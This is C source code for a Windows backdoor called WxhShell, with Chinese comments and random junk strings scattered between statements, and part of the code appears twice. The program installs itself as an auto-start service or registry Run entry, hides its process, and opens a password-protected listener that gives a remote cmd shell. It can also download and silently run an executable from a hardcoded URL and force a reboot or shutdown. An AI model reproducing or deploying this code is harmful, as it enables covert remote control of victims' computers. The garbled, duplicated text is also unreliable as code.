] i G~ P~\a)Szy g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;c X^8;F0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DN"S, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;5D@kS^ f3zfRhkIk if (!NtQueryInformationProcess) return 0; %jZp9}h hC|5e|S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [ZKtbPHb if(!hProcess) return 0; yE.495 X;OsH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CGd[3}" #h gmUa CloseHandle(hProcess); :dY.D|j* :F^$"~(, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YN%=Oq if(hProcess==NULL) return 0; V8sH{R- .'^6QST HMODULE hMod; U|Bsa(?nx char procName[255]; hv$uH7Fz unsigned long cbNeeded; lh,ylh c<=`<!FS[ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W;Ud<7<;Z ( zn_8s CloseHandle(hProcess); }BI~am_ L_THU4^j
if(strstr(procName,"services")) return 1; // 以服务启动 xFBh? {{V;:+62 return 0; // 注册表启动 xSpMyXrQ } r6d0x 3>-[B`dD( // 主模块 ydwK!j0y int StartWxhshell(LPSTR lpCmdLine) T}n N=Q4 { ,wtFs!8 SOCKET wsl; n-b>m7O( BOOL val=TRUE; LP^p~5Az int port=0; yz[%MXI struct sockaddr_in door; %f3c7\=C )KSisEL if(wscfg.ws_autoins) Install(); AMbKN2h1f z.eJEK port=atoi(lpCmdLine); zKIGWH=qqm !]$V9F{K if(port<=0) port=wscfg.ws_port; BZovtm3E oM6j>&$b WSADATA data; .)LZ`Ge3F if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9@:BK;Fi $ q%mu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S5uJX#*; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?qju
DD door.sin_family = AF_INET; Ct4LkmD door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y\.-v\uJu door.sin_port = htons(port); "6?lQw
e %tT"`%(+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iV5}U2Vh closesocket(wsl); :W~6F*A return 1; L
;6b+I } ^#]c0 s(Z(e % if(listen(wsl,2) == INVALID_SOCKET) { + c`AE closesocket(wsl); eymi2-a< return 1; {}V$`L8 } js~tKUvg Wxhshell(wsl); GxxDY]! WSACleanup(); TI}}1ScA' 2b5 #PcKa return 0; e|yX QTlvL &,J*_F<s2< } 9X( Sk% YQ;
cJ$ // 以NT服务方式启动 grr'd+_ e VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^7.XGWQ)- { 2+z1h^)W DWORD status = 0; Z .quh; DWORD specificError = 0xfffffff; ny)]GvxI ^EF'TO$ serviceStatus.dwServiceType = SERVICE_WIN32; sI'a1$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; .;9jdGBf serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wzd`l?o, serviceStatus.dwWin32ExitCode = 0; 1pK6=-3w3 serviceStatus.dwServiceSpecificExitCode = 0; </= CZy5w serviceStatus.dwCheckPoint = 0; k0L] R5W serviceStatus.dwWaitHint = 0; TXjloGv^ PY?8[A+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b(l0js if (hServiceStatusHandle==0) return; TjxA#D) Ry&q1j status = GetLastError(); r$ =qQ7^# if (status!=NO_ERROR) A^ViDP { Z&Ue|Z4Qt serviceStatus.dwCurrentState = SERVICE_STOPPED; Z0-ytODII serviceStatus.dwCheckPoint = 0; iRNLKi serviceStatus.dwWaitHint = 0; T?n-x?e serviceStatus.dwWin32ExitCode = status; 3+ =I;nj serviceStatus.dwServiceSpecificExitCode = specificError; *:g_'K"+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); vg)Z]F=t( return; )s)_XL } FbAW_Am( eCWPhB6l serviceStatus.dwCurrentState = SERVICE_RUNNING; iCP~O serviceStatus.dwCheckPoint = 0; pISp*& serviceStatus.dwWaitHint = 0; RP!
X8~8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %?9Ok } :_xh(W+2< =xL )$DTg) // 处理NT服务事件,比如:启动、停止 0}]SUe^ VOID WINAPI NTServiceHandler(DWORD fdwControl) E)W@{?.o# { (u&`Ij9 switch(fdwControl) [ ny6W9 { oh~:, case SERVICE_CONTROL_STOP: jnJZ#=) serviceStatus.dwWin32ExitCode = 0; sZg6@s= serviceStatus.dwCurrentState = SERVICE_STOPPED; | kXm}K serviceStatus.dwCheckPoint = 0; U%>'" serviceStatus.dwWaitHint = 0; HbM0TXo { <??umkV SetServiceStatus(hServiceStatusHandle, &serviceStatus); gmP9j)V6 } Zgamd1DJ[l return; F}Srn;V case SERVICE_CONTROL_PAUSE: p=Y>i 'CG serviceStatus.dwCurrentState = SERVICE_PAUSED;
)h_8vO2 break; 8Lz]Z
h=ZU case SERVICE_CONTROL_CONTINUE: d
~`V7B2Y serviceStatus.dwCurrentState = SERVICE_RUNNING; tU@zhGb break; j}f[W [2 case SERVICE_CONTROL_INTERROGATE: !yJICjXj break; )8,|-o= }; !<<AzLVL SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kct@87z } e,0-)?5R $_Nf-:D* // 标准应用程序主函数 fjG&`m#" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &7>zURv { O.QK"pKD\ -c*\o3) // 获取操作系统版本 N( Oyi OsIsNt=GetOsVer(); ;9a 6pz< GetModuleFileName(NULL,ExeFile,MAX_PATH); =9wy/c$ W7sn+g\ // 从命令行安装 `A@w7J' if(strpbrk(lpCmdLine,"iI")) Install(); "i^
GmVn sG7u}r // 下载执行文件 zM#sOg if(wscfg.ws_downexe) { %aRT>_6" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Na{Y}0=^y WinExec(wscfg.ws_filenam,SW_HIDE); neZ.`"LV } bulS&dAX L%"LlSg if(!OsIsNt) { 2JGL;U$ // 如果时win9x,隐藏进程并且设置为注册表启动 TrS8h^C HideProc(); a_~=#]a StartWxhshell(lpCmdLine); 6%G-Vs]*2 } h^UKT`9vt else Q\ppfc{, if(StartFromService()) Z<?OwAWz // 以服务方式启动 sgUud_r)4 StartServiceCtrlDispatcher(DispatchTable); w;6bD'.>; else .B2]xfo"` // 普通方式启动 &ANP`= StartWxhshell(lpCmdLine); 6w8">~)Z 2_^aw[- return 0; r!1D*v5&: } FzQTDu9 :Qt s$ENFp7P F,BOgWwP =========================================== Rhc-q|Lz8 q[q?hQ/b x!LQxoNF Hmt^h(*/2 :}8Z@H!KkY H %JaZ?( " {9Y+.46S EP'h@zdz #include <stdio.h> R0ID2:i]F #include <string.h> [qUN 4x5b #include <windows.h> nRL. ppUI #include <winsock2.h> !U9|x\BqJ2 #include <winsvc.h> ^z1&8k"[^ #include <urlmon.h> 7w,FX.=;cv U$]|~41# #pragma comment (lib, "Ws2_32.lib") c\B|KhDk #pragma comment (lib, "urlmon.lib") F'jWV5"* 1tTgP+ #define MAX_USER 100 // 最大客户端连接数 !tfb*@{;' #define BUF_SOCK 200 // sock buffer ::Ke^dp #define KEY_BUFF 255 // 输入 buffer kpL@P oQ/r \$0F-=w`8 #define REBOOT 0 // 重启 NI#X@ #define SHUTDOWN 1 // 关机
]#7zk9 f Vb-$ #define DEF_PORT 5000 // 监听端口 d\x7Zw> '!l1=cZD #define REG_LEN 16 // 注册表键长度 Bm&kkx.9P #define SVC_LEN 80 // NT服务名长度 i1H\#;`$ ~ P~ // 从dll定义API ~gB>) ] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R|O8RlH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s!n<}C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O3TQixE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Wxad?@ f$NM M
>z // wxhshell配置信息 I%-
" |]$ struct WSCFG { Y3Vlp/"rB" int ws_port; // 监听端口 r.4LU char ws_passstr[REG_LEN]; // 口令 3nZo{p:E int ws_autoins; // 安装标记, 1=yes 0=no 0-~\
W( char ws_regname[REG_LEN]; // 注册表键名 /rUo{j char ws_svcname[REG_LEN]; // 服务名 ^Z~;4il_F char ws_svcdisp[SVC_LEN]; // 服务显示名 8_T6_jL< char ws_svcdesc[SVC_LEN]; // 服务描述信息 nstUMr6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8\{^|y9- int ws_downexe; // 下载执行标记, 1=yes 0=no w@N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q}-~O1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 035rPT7-2- jDQZQ NS }; *S/_i-ony 5 ~TdD6} // default Wxhshell configuration a4irokJv# struct WSCFG wscfg={DEF_PORT, sQMFpIrr "xuhuanlingzhe", ?O>V%@ 1, X7s
`U5'l "Wxhshell", `w]s;G[ "Wxhshell", Mn)@{^ "WxhShell Service", J~#;<e{\" "Wrsky Windows CmdShell Service", r$2P;Cxj "Please Input Your Password: ", ;qrB\j" 1, ANgw"&&>( "http://www.wrsky.com/wxhshell.exe", ;3'.C~ "Wxhshell.exe" qh`t- }; *4V=z# 3YVi"
k?2 // 消息定义模块 =jN*P? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uw47LP char *msg_ws_prompt="\n\r? for help\n\r#>"; 0}b
tXh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0:+WO%z char *msg_ws_ext="\n\rExit."; =Q.^c.sw char *msg_ws_end="\n\rQuit."; =5\|[NSK- char *msg_ws_boot="\n\rReboot..."; gvLf|+m char *msg_ws_poff="\n\rShutdown..."; l8?>>.<P= char *msg_ws_down="\n\rSave to "; >yULC|'F&~ >uSy char *msg_ws_err="\n\rErr!"; 5-M&5f. char *msg_ws_ok="\n\rOK!"; [i]Ub0Dh7 K"r*M.P> char ExeFile[MAX_PATH]; 3g >B"t int nUser = 0; 78/Zk}I] HANDLE handles[MAX_USER]; wu)w int OsIsNt; cJrmm2.0kD -?0qf,W. SERVICE_STATUS serviceStatus; YGrg SERVICE_STATUS_HANDLE hServiceStatusHandle; ({q?d[q[ !_"fP:T> // 函数声明 :53)Nv int Install(void); 9^j &VmF int Uninstall(void); )BwjZMJ.N int DownloadFile(char *sURL, SOCKET wsh); /AW=5Ck- # int Boot(int flag); $g
sxO!G void HideProc(void); nX=$EQiH int GetOsVer(void); S;)w. int Wxhshell(SOCKET wsl); Qc pm! void TalkWithClient(void *cs);
~/P&Tub^ int CmdShell(SOCKET sock); Iu <?&9t int StartFromService(void); CY"/uSB int StartWxhshell(LPSTR lpCmdLine); JhLgCnm s{$(*_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t{.8|d@
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bdc&1I$ `I3r3WyA // 数据结构和表定义 7:2WgLo SERVICE_TABLE_ENTRY DispatchTable[] = gy_>`16K { ?W)A {wscfg.ws_svcname, NTServiceMain}, hK_LEwd; {NULL, NULL} %;rHrDP(> }; 4B^ZnFJ%m ,.7*Hpa // 自我安装 yI"6Da6|y int Install(void) 8/=L2fNN[ { +>r/ 0b char svExeFile[MAX_PATH]; ,=#F// HKEY key; pNKhc#-w strcpy(svExeFile,ExeFile); ?]}8o}G iy%ZQ[Un // 如果是win9x系统,修改注册表设为自启动 vuoQz\ if(!OsIsNt) { "t~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GhIKvX_N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !y@6Mm RegCloseKey(key); o
!vE~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (G[
*|6m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K5xX)oV RegCloseKey(key); 6x%h6<#xh* return 0; j'HZ\_ } <1t*I!e_ } w .?:SD } lx[oaCr else { 3 U7*>H ybY]e; v*O // 如果是NT以上系统,安装为系统服务 'coV^~qy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;n&t>pBM if (schSCManager!=0) ]3X@_NYj { 2(#7[mgPI SC_HANDLE schService = CreateService "-vW,7y ( j'MO(ev schSCManager, U
G~b a wscfg.ws_svcname, 7G/1VeVjB wscfg.ws_svcdisp, H*$jc\
dC SERVICE_ALL_ACCESS, qLB)XnQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y7*U:I+N SERVICE_AUTO_START, w%JTTru SERVICE_ERROR_NORMAL, TX&Jt% svExeFile, V0P>YQq9s NULL, @Bf%s(Uj+ NULL, =AEBeiz NULL, i;_t I#:A NULL, XYZ4TeW\1 NULL paD !Z0v& ); 3%(N[&LU if (schService!=0) $Z\.-QE\ { =9fajRFTt CloseServiceHandle(schService); z$?~Y(EY CloseServiceHandle(schSCManager); /Z@tv.f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Is{KN!Hw strcat(svExeFile,wscfg.ws_svcname); 9*{[buZX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'U\<IL#U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b"#WxgaF RegCloseKey(key); \l]DQaOEe return 0; Dk(1}%0U/ } '8{Ne!y } *rIk:FehLB CloseServiceHandle(schSCManager); C'o64+W^ } Te<}*qvD } }Du}c3 8>WC5%f* return 1; to=y#$_ } VBcy9|lD `O[};3O& // 自我卸载 #py[ int Uninstall(void) Q2F+?w;, { Ipq"E HKEY key; 32/MkuY^u T^~5n6 if(!OsIsNt) { n1VaLD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~Zh@d% RegDeleteValue(key,wscfg.ws_regname); O"c;|zCc> RegCloseKey(key); 06N}k<10O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vfE6Ggz
RegDeleteValue(key,wscfg.ws_regname); RWgNo#< RegCloseKey(key); 'F$l{iR return 0; b/{t|io{ } NR5oIKP? } or';A'k } I/L_@X<*r
else { Ct=-4 obNqsyc77R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pXtX jb if (schSCManager!=0) i-6F:\; { I.94v
#r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Drq9B9; if (schService!=0) }Hxd*S { <\}KT*Xp if(DeleteService(schService)!=0) { zN:K%AiGxe CloseServiceHandle(schService); 3T!lA CloseServiceHandle(schSCManager); Ooq! 0g return 0; I|
b2acW } I$0)Px%z CloseServiceHandle(schService); K3x.RQQ- } lo,$-bJ,<, CloseServiceHandle(schSCManager); kMt 8/ E` } .sj^{kGE } 86mp=6@ ?`#/ 8PN return 1; kZerKP } *UmI]E{g3( iCcB@GlA // 从指定url下载文件 dRaNzK)M int DownloadFile(char *sURL, SOCKET wsh) /O^RF } { (C@~3!AVa HRESULT hr; jr!?v<NoX char seps[]= "/"; 3
"Q=Vl" char *token; j(k:
@ char *file; 8qEVOZjV& char myURL[MAX_PATH]; -OA?BEQ=I char myFILE[MAX_PATH]; PX
n;C/ cvfr)K[0 strcpy(myURL,sURL); }woo%N P token=strtok(myURL,seps); 7e#?e+5+A while(token!=NULL) !cAyTl(_ { - qy6Un+ file=token; Y>E zTV token=strtok(NULL,seps); 846$x$G4 } Qe}`~a9P .G)(0z("s GetCurrentDirectory(MAX_PATH,myFILE); :h&fbBH strcat(myFILE, "\\"); KB'qRnkc strcat(myFILE, file); EVVP]ND send(wsh,myFILE,strlen(myFILE),0); B,@c;K send(wsh,"...",3,0); :SGF45>B@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Za>ZRR if(hr==S_OK) !>e5z|1 return 0; ghX|3lI\q else Y))u&*RuT0 return 1; <Gt2(; !2'jrJGc
} ])
rrG/3 3`B6w$z>( // 系统电源模块 .$%Soyr?, int Boot(int flag) 2#<xAR { ;+<&8.=,) HANDLE hToken; _`_%Y(Xat TOKEN_PRIVILEGES tkp; LX@/RAd vz OV%Q3$15 if(OsIsNt) { ?}RSwl
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2;^y4ssg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3'c0#h@VD tkp.PrivilegeCount = 1; 0em#-*|2" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a e*Mf7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fx
$Q;H!. if(flag==REBOOT) { 839IRM@'5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rSHpS`\ou return 0; }p!HT6 tZ } fVt9X*xKS else { F^5?\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q@@T]V6 return 0; VGceD$< } 8g:;)u4$P } n%k!vJ)] else { O=$~O\}b if(flag==REBOOT) { *+\SyO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H]$)Eg%6 return 0; F6K4#t+9 } 0MkSf* else { .hba*dV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PC[c/CoD return 0; g q}I[N } 59!Fkd3 } Pp|*J^U 4 rDQ!zlg>l return 1; AN24Sf'` } ~-dV^SO RgGyoZ // win9x进程隐藏模块 nIoPC[%_
void HideProc(void) wAz&"rS { %^8^yZz s7l;\XBy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?APeR,"V if ( hKernel != NULL ) TzntO9P+ { Cf:#(D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <7n4_RlF! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >NKe'q<)3 FreeLibrary(hKernel); [ e8x&{L-_ } 4mHvgnT!WA Pf_S[
sm return; jU3Z*Z)zN } r.T<j.\ TD9;kN1` // 获取操作系统版本 !Mu|mz= int GetOsVer(void) oXDN+4ge { Da v PYg OSVERSIONINFO winfo; V %_4% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %rF?dvb;? GetVersionEx(&winfo); f_imyzP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W0C@9&pn6 return 1; K^ 3co else qBQ`~4s return 0; `AkIK* } vNeCpf fsEzpUY:{W // 客户端句柄模块 ncX/L[L int Wxhshell(SOCKET wsl) 8UMFq { |hO~X~P SOCKET wsh; +MB!B9M@ struct sockaddr_in client; T /mI[*1xI DWORD myID; Bcjx>#3?L 90#
;?# while(nUser<MAX_USER) -\y-qHgb/ { N~ ?{UOZd int nSize=sizeof(client); Qf|U0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eVR5Xar if(wsh==INVALID_SOCKET) return 1; k` {@pt. WH$e2[+Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HeK
h> if(handles[nUser]==0) =B ];?% closesocket(wsh); e }*0ghKI else N6T{ nUser++; Pe_!?:vF } Pa^A$fy\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8LI-gp\ 2 teW6;O_ return 0; jS!`2li?{ } 8*c3| <|*'O5B // 关闭 socket /R
LI,.% void CloseIt(SOCKET wsh) ycJg%]F*5 { S|zW^|YU closesocket(wsh); j.i#*tN// nUser--; ~RBrSu) ExitThread(0); PU {uE[ } $2MAZGJV ZL<
MC~ // 客户端请求句柄 ^#):c` void TalkWithClient(void *cs) K?4FT$9G { P(SZ68 @+Y8*Rj\3 SOCKET wsh=(SOCKET)cs; !$g+F(:(c char pwd[SVC_LEN]; >az;!7~cD char cmd[KEY_BUFF]; Kv{8iAB#c char chr[1]; 7dX/bzUVz8 int i,j; MDRe(rF= GOSI3RRn while (nUser < MAX_USER) { #Rew [\$ =6=_/q2 if(wscfg.ws_passstr) { XMRNuEU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nd{R
9B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6e25V4e?I //ZeroMemory(pwd,KEY_BUFF); ibdO*E i=0; m~],nl while(i<SVC_LEN) { "Jy~PcJZ1 6<5Jq\-h // 设置超时 me\cLFw fd_set FdRead; [ut#:1h^ struct timeval TimeOut; IC{F.2D FD_ZERO(&FdRead); np WEop> FD_SET(wsh,&FdRead); M8@_Uj TimeOut.tv_sec=8; ecX/K.8l TimeOut.tv_usec=0; M;Wha;%E" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2N~ E' 25 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {BO|u{C z8Q"%@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yu
,h\ pwd=chr[0]; qd!#t] if(chr[0]==0xd || chr[0]==0xa) { D22Lu;E pwd=0; E=/[s]@5 break; {5Eyr$ } :+,st&(E i++; WA
LGIW } MFg'YA2/ IX?ZbtdX$` // 如果是非法用户,关闭 socket }#= Od e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I}v]Zm9 } ^C9x.4I$) g]`bnZ7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <]8^J}8T{D send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W>L@j( gKL1c{BV while(1) { k_3j
' x.EgTvA&d ZeroMemory(cmd,KEY_BUFF); \]Z&P,}w KtTza5aF // 自动支持客户端 telnet标准 ?En7_X{C? j=0; [F|+(} while(j<KEY_BUFF) { d.pp3D9/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yjup cmd[j]=chr[0]; JCQ:+eqt if(chr[0]==0xa || chr[0]==0xd) { ">6&+^BN' cmd[j]=0; VjTe4$ * break; yx0Q+Sm1: } M\yHUS6N j++; Bp0bY9xLg_ } #'>?:k m.V,I}J.q // 下载文件 ~tNY"{OV# if(strstr(cmd,"http://")) { GOW"o"S send(wsh,msg_ws_down,strlen(msg_ws_down),0); /S/aUvN if(DownloadFile(cmd,wsh)) 6;JP76PD send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5.k}{{+ else wZv-b*4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcig7% } ?f@ 9n ph else { <9\,QR) =xBT>h; switch(cmd[0]) { vfXJYw+6_ hrT%XJl // 帮助 o
PaZ case '?': { 0IFlEe[># send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cno;>[$ break; h^d\xn9GT# } 7O461$4v // 安装 `r]TA]DR case 'i': { HZuiVW8 if(Install()) }3sN+4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<+pg else SW;HjQ>V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Cr8V'c break; WQ.i$ID/ } (!ZV9S // 卸载 :;_#5 case 'r': { xDLMPo& if(Uninstall()) 6s5b$x send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ivjw<XP6K else -s89)lUkS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >3+FZ@.iT break; YJc%h@ _=] } C{)HlOW // 显示 wxhshell 所在路径 I)rGOda{ case 'p': { [%t3[p<)O char svExeFile[MAX_PATH]; 9H[/T j-; strcpy(svExeFile,"\n\r"); jjX%$Hr strcat(svExeFile,ExeFile); [NZ-WU&&LP send(wsh,svExeFile,strlen(svExeFile),0); `1$y( w] break; iz$FcA] } Wk,6) jS=} // 重启 [5!'ykZ case 'b': { %awVVt{aG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <g*.p@o if(Boot(REBOOT)) bz$Qk;m=H send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Dra7B% else { '}T;b} &s closesocket(wsh); )X~#n ExitThread(0); AX8gij } -}< d(c break; VOg/VGJ } .E#<fz // 关机 @Mzz2&(dU case 'd': { {f&NStiB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =p5?+3"@ if(Boot(SHUTDOWN)) u\:rY)V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ptZVv=O else { mZ~mf->% closesocket(wsh); L)1C'8). ExitThread(0); 8znj~7}# } Ew>~a8!Fq break; O1|B3M[P } m';#R9\Fz // 获取shell \ibCR~W4 case 's': { jk
K#e$7 CmdShell(wsh); v3?kFd7%H~ closesocket(wsh); FT<H]Nf ExitThread(0); - J{Dxz break; B'<!k7Ewy } ss/h[4h4h // 退出 @X
K> case 'x': { p
"/(>8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wH+FFXGJs CloseIt(wsh); 7[4_+Q:} break; t3pZjdLJd } S^|$23} // 离开
.V8/ELr] case 'q': { z~BD(FDI send(wsh,msg_ws_end,strlen(msg_ws_end),0); n?zbUA# closesocket(wsh); ?]s%(R,B5 WSACleanup(); '`9%'f) exit(1); IO^:FnJJv break; o<Xc,mP } +ylxezc } 8mk}nex } 3w
t:5
Im f#'8"ff*1 // 提示信息 fL(':W&n- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c"sj)-_ } DLNa6 } m$7x#8gF
caGML|DeI return; 8$2l^ } $7msL#E7 #DQX<:u // shell模块句柄 B jH ~Ml2 int CmdShell(SOCKET sock) \Y51KB\ { TTeA a STARTUPINFO si; mGt\7&` ZeroMemory(&si,sizeof(si)); fndK/~?]H si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3DxZ#/! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tg3:VD PROCESS_INFORMATION ProcessInfo; <^CYxy char cmdline[]="cmd"; ,Adus M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gV<0Hj return 0; vh<]aiY } tn"Y9
k| JVD@I{ // 自身启动模式 JN{<oxI int StartFromService(void) ybD{4&ZE { v(qV\:s}m typedef struct 08zi/g2
3 { =nJOaXR0 DWORD ExitStatus; <{$ev&bQ DWORD PebBaseAddress; :*mA,2s DWORD AffinityMask; cEDDO&u DWORD BasePriority; a9yIV5_N ULONG UniqueProcessId; skk-.9 ULONG InheritedFromUniqueProcessId; 4a(g<5wfI } PROCESS_BASIC_INFORMATION; $w|o@ Ml) yf
`.% PROCNTQSIP NtQueryInformationProcess; 1$:{{% 8vz_~p9%j static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9F2P(aS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Z#_X@NFc 2x)0?N[$O HANDLE hProcess; hKk\Y{wv' PROCESS_BASIC_INFORMATION pbi; 1VhoJGH;C p{A}p9sjx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E[ )7tr if(NULL == hInst ) return 0; '#cT4_D^lI
|y{;|K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tx:rj6-z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y)?W-5zL NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #,f}lV,& p?dGZ2` [I if (!NtQueryInformationProcess) return 0; 6Nfof >>oASo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xm%[}Dt] if(!hProcess) return 0; l|@/?GaH f_i"/xC-/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xZ9}8*Q&: ]wkSAi5z* CloseHandle(hProcess); dO 1-c` }@ O|RkY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {V]Qwz)1 if(hProcess==NULL) return 0; b'Fx), @e.OU(Bf HMODULE hMod; O?C-nw6kP char procName[255]; "oE^R?m unsigned long cbNeeded; AiyvHt Z,|1G6f@ 